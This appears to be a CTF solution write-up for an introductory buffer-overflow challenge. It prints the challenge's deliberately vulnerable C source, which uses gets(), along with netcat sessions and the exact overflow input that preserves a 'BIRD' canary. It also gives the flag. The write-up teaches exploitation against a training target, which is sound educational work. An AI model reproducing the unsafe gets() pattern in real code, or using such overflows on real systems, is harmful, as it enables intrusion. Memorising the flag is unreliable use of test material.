Flash CTF – Canary In The Bitcoin Mine

Solution

This is an introductory binary exploitation challenge, featuring a very simple buffer overflow along with a rudimentary “stack canary” that you have to avoid changing the value of.

Let’s start by looking at the source code, which can be downloaded in the challenge description. Let’s summarize it and clean it up a bit to make it easier to look through – the win and hexdump functions are pretty simple and aren’t part of the “exploit” process.

void win() {
    /// Print out the flag
}

void hexdump(void *addr, int len) {
    /// Print out a hexdump of memory at and after a given address
}

int main() {
    struct {
        char mine[64]; // this is where the user's input goes!
        int canary; // this is a 4-byte value that we need to avoid changing the value of
        bool earnedFlag; // we need to edit the value of this variable
    } mineshaft;
    char debris[256];

    mineshaft.canary = 0x44524942; // "BIRD" in little endian
    mineshaft.earnedFlag = false;

    printf("Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!\n\n");

    // Zero out the buffer
    memset(mineshaft.mine, 0, sizeof(mineshaft.mine));

    printf("Memory layout before input:");
    hexdump(&mineshaft, sizeof(mineshaft));
    printf("\n");

    while(1)
    {
        printf("Place some characters into the mine: ");
        gets(mineshaft.mine); // User's input is read into mineshaft.mine

        printf("\nMemory layout after input:");
        hexdump(&mineshaft, sizeof(mineshaft)); // Display memory layout

        if (mineshaft.canary != 0x44524942) { // "BIRD" in little-endian
            printf("Oh no, the canary died! We need to evacuate immediately!\n\n");
            return 0;
        } else {
            printf("Canary is alive.\n");
            if (mineshaft.earnedFlag) { // is mineshaft.earnedFlag non-zero?
                win(); // We need to get to this line!
            } else {
                printf("Looks like you haven't earned your flag yet though...\n\n");
            }
        }
    }
}

How to win()

The goal is to run the win() function. The conditions for it to be called are pretty straightforward: mineshaft.canary still contains its starting value, which is 0x44524942 (the four-character string BIRD); and mineshaft.earnedFlag is true, which just means that it’s been set to some non-zero value.

However, it seems like the only variable we have influence over is mineshaft.mine; our input is read into it via gets(). But this function, which used to be the standard C user-input function, is famously vulnerable – it won’t limit the amount of input it reads, so if we provide more than 64 characters of input, it’ll overflow into the memory further down. In this case, we would first overflow over canary, and then over earnedFlag.

Let’s connect to the remote instance and play with the program a bit. We need to use a common Unix program called netcat, or nc.

Messing around

$ nc host3.metaproblems.com 5980
Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

Place some characters into the mine: abcde

Memory layout after input:
0000  61 62 63 64 65 00 00 00 00 00 00 00 00 00 00 00  abcde...........
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...

Place some characters into the mine: abcdefg

Memory layout after input:
0000  61 62 63 64 65 66 67 00 00 00 00 00 00 00 00 00  abcdefg.........
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...

Let’s try sending a whole lot of characters so that we cause an overflow.

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Memory layout after input:
0000  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0010  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0020  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0030  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0040  61 61 61 61 61 61 61 61                          aaaaaaaa
Oh no, the canary died! We need to evacuate immediately!

We succeeded, but we need to avoid overwriting the canary. The canary, in memory, is just the string “BIRD”. So let’s try sending exactly 64 characters (we’ll use a, as is tradition) and then BIRD. You can type them out manually, or run 'a' * 64 in Python to generate 64 as.

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBIRD

Memory layout after input:
0000  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0010  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0020  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0030  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0040  42 49 52 44 00 00 00 00                          BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...

We kept the canary alive! But now we need to set that final bool to any non-zero value. Let’s just supply another a after the BIRD.

Memory layout before input:
0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0040  42 49 52 44 00 00 00 00                          BIRD....

Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBIRDa

Memory layout after input:
0000  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0010  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0020  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0030  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0040  42 49 52 44 61 00 00 00                          BIRDa...
Canary is alive.
Well done, you've earned the flag!
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}

Flag

MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}